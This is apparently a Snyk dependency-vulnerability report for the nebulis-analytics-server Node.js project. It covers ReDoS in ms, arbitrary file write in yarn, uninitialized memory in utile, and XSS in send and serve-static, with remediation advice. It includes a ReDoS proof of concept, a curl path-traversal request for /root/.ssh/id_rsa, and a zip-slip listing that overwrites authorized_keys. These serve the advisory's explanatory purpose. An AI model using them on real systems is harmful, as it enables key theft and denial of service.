Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › @sailshq/body-parser@1.13.4 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › compression@1.5.2 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › connect-timeout@1.6.2 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › express-session@1.11.3 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › finalhandler@0.4.0 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › morgan@1.6.1 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-index@1.7.3 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-parser@2.3.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-static@1.10.3 › send@0.13.2 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-static@1.10.3 › send@0.13.2 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-adapter@0.5.0 › socket.io-parser@2.3.1 › debug@2.2.0 › ms@0.7.1Remediation: Open PR to patch ms@0.7.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › socket.io-parser@2.3.1 › debug@2.2.0 › ms@0.7.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-favicon@2.3.2 › ms@0.7.2Remediation: Open PR to patch ms@0.7.2.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › debug@2.3.3 › ms@0.7.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › body-parser@1.17.1 › debug@2.6.1 › ms@0.7.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › engine.io@1.8.3 › debug@2.3.3 › ms@0.7.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-adapter@0.5.0 › debug@2.3.3 › ms@0.7.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › debug@2.3.3 › ms@0.7.2Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › engine.io-client@1.8.3 › debug@2.3.3 › ms@0.7.2Remediation: Upgrade to sails@1.0.0.
Overview
ms is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms() function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS) attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms to version 2.0.0 or higher.
References
low severity
- Vulnerable module: yarn
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5Remediation: Upgrade to yarn@1.21.1.
Overview
yarn is a package for dependency management.
Affected versions of this package are vulnerable to Arbitrary File Write. The package install functionality can be abused to generate arbitrary symlinks on the host filesystem by using specially crafted bin keys. Existing files could be overwritten depending on the current user permission set.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade yarn to version 1.21.1 or higher.
References
low severity
- Vulnerable module: utile
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › prompt@0.2.14 › utile@0.2.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › prompt@0.2.14 › utile@0.2.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › prompt@0.2.14 › utile@0.2.1
Overview
utile is a drop-in replacement for util with some additional advantageous functions.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure. A malicious user could extract sensitive data from uninitialized memory or to cause a DoS by passing in a large number, in setups where typed user input can be passed.
Note Uninitialized Memory Exposure impacts only Node.js 6.x or lower, Denial of Service impacts any Node.js version.
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.
Remediation
There is no fix version for utile.
References
low severity
- Vulnerable module: send
- Introduced through: git-server@github:chrisdobler/NodeJS-Git-Server and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › git-server@github:chrisdobler/NodeJS-Git-Server › connect@2.9.2 › send@0.1.4
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-static@1.10.3 › send@0.13.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › send@0.13.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-static@1.10.2 › send@0.13.1Remediation: Upgrade to sails@1.5.12.
Overview
send is a Better streaming static file server with Range and conditional-GET support
Affected versions of this package are vulnerable to Cross-site Scripting due to improper user input sanitization passed to the SendStream.redirect() function, which executes untrusted code. An attacker can execute arbitrary code by manipulating the input parameters to this method.
Note:
Exploiting this vulnerability requires the following:
The attacker needs to control the input to
response.redirect()Express MUST NOT redirect before the template appears
The browser MUST NOT complete redirection before
The user MUST click on the link in the template
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade send to version 0.19.0, 1.1.0 or higher.
References
low severity
- Vulnerable module: serve-static
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › serve-static@1.10.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › serve-static@1.10.2Remediation: Upgrade to sails@1.5.12.
Overview
serve-static is a server.
Affected versions of this package are vulnerable to Cross-site Scripting due to improper sanitization of user input in the redirect function. An attacker can manipulate the redirection process by injecting malicious code into the input.
Note
To exploit this vulnerability, the following conditions are required:
The attacker should be able to control the input to
response.redirect()express must not redirect before the template appears
the browser must not complete redirection before:
the user must click on the link in the template
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serve-static to version 1.16.0, 2.1.0 or higher.